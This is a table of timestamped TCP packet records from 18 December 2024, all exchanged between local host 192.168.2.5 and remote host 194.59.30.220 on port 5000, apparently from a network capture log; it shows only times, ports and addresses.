Dec 18, 2024 11:40:28.580542088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.580636024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.582753897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.582792044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.582844019 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.585016966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.585083008 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.585139990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.587342024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.587402105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.587469101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.589740992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.589831114 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.589854002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.592065096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.592150927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.592154026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.594167948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.594316959 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.594326019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.596472025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.596527100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.596714973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.598776102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.598830938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.598871946 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.601089954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.601147890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.601183891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.603384018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.603430986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.603452921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.605633020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.605789900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.605879068 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.607897997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.607944012 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.608048916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.610240936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.610301018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.610445976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.612468958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.612507105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.612556934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.614764929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.614918947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.614933014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.617039919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.617080927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.617146969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.619352102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.619390965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.619414091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.621731997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.621769905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.621845007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.624336958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.624425888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.624572039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.626355886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.626399994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.626538038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.628567934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.628606081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.628643036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.630776882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.630826950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.630918026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.633153915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.633210897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.633295059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.635394096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.635448933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.635679007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.637685061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.637725115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.637726068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.639998913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.640033960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.640115023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.642292976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.642333031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.642373085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.644876003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.644931078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.644952059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.646878958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.646927118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.646951914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.649228096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.649266005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.649343014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.651550055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.651603937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.651627064 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.653719902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.653793097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.653831005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.656069040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.656137943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.656193972 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.658380032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.658431053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.658432007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.660516977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.660597086 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.732089996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.732168913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.732270002 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.732841015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.732999086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.733045101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.734719992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.734823942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.734864950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.736568928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.736763000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.736804008 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.738337994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.738473892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.738631964 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.740144014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.740247011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.740307093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.741980076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.742125034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.742166996 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.743781090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.743864059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.743958950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.745415926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.745466948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.745506048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.747107983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.747282982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.747324944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.748847008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.748963118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.749090910 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.750523090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.750619888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.750659943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.752173901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.752285957 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.752326012 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.753884077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.753977060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.754019022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.755537033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.755719900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.755763054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.757015944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.757407904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.757452965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.758708954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.758837938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.758879900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.760210037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.760251999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.760298967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.761905909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.762038946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.762142897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.763349056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.763365984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.763405085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.764821053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.765013933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.765069008 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.766417980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.766488075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.766622066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.768008947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.768327951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.768387079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.769519091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.769584894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.769629002 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.770917892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.771018982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.771059036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.772372007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.772494078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.772723913 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.773885012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.774018049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.774065018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.775293112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.775417089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.775468111 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.776777029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.776979923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.777038097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.778225899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.778251886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.778295040 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.779732943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.779844046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.779896021 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.781070948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.781199932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.781342983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.782533884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.782644987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.782691956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.783972025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.784389973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.784466982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.785350084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.785520077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.785660982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.786761999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.786866903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.786959887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.788223028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.788291931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.788331985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.789642096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.789851904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.789900064 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.791089058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.791179895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.791233063 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.792419910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.792519093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.792560101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.793843031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.794032097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.794070959 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.795299053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.795331001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.795429945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.796621084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.796901941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.796946049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.798054934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.798166037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.798218012 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.799477100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.799571037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.799612045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.800894022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.801054001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.801099062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.802294016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.802346945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.802531958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.803682089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.803836107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.803889990 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.805088043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.805248022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.805300951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.806478024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.806586027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.806652069 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.807920933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.808065891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.808306932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.809520006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.809556961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.809638023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.810718060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.810770988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.810817957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.812093973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.863039017 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.923027039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.923137903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.923420906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.923475981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.923683882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.923748016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.924570084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.924654007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.924696922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.925626040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.925760984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.925817013 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.926843882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.926973104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.927018881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.927752018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.927826881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.927870035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.928716898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.928858042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.928901911 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.929765940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.929871082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.930051088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.930800915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.930891991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.930934906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.931854010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.931955099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.931997061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.933145046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.933274984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.933334112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.934292078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.934442997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.934489965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.935465097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.935540915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.935714960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.936580896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.936609983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.936795950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.937433958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.937547922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.937591076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.938314915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.938416958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.938529968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.939032078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.939126015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.939167023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.939861059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.939965010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.940006018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.940777063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.940965891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.941421986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.941791058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.941817999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.941883087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.942936897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.943154097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.943197966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.944091082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.944224119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.944278955 CET	49705	5000	192.168.2.5	194.59.30.220
